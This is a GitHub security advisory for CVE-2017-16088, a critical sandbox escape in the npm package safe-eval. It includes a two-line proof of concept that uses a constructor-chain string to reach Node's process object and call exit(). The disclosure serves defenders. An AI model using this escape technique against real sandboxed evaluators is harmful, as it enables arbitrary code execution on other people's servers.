GitHub Advisoryadvisory · npm
GHSA-ww6v-677g-p656 Sandbox Breakout in safe-eval
CRITICAL
Official page ↗
- Aliases
- CVE-2017-16088
- Ecosystem
- npm
- Packages
- safe-eval
- Severity
- Critical
- CVSS vector
- CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-610
- Reviewed
- 2020-06-16
Affected packages
• npm safe-eval: <= 0.3.0 (no fix yet)
Description
Affected versions of `safe-eval` are vulnerable to a sandbox escape. By accessing object constructors, un-sanitized user input can access the entire standard library and effectively break out of the sandbox.
Proof of Concept:
This code accesses the process object and calls `.exit()`
```js
var safeEval = require('safe-eval');
safeEval("this.constructor.constructor('return process')().exit()");
```
Recommendation
Update to version 0.4.0 or later
Related
Alias · CVE (1)
- CVE-2017-16088 The safe-eval module describes itself as a safer version of eval. vulnerability
Weakness · CWE (1)
- CWE-610 Externally Controlled Reference to a Resource in Another Sphere weakness
References
- https://nvd.nist.gov/vuln/detail/CVE-2017-16088 advisory
- https://github.com/hacksparrow/safe-eval/issues/5 web
- https://github.com/patriksimek/vm2/issues/59 web
- https://github.com/hacksparrow/safe-eval/pull/13 web
- https://github.com/advisories/GHSA-ww6v-677g-p656 advisory
- https://www.npmjs.com/advisories/337 web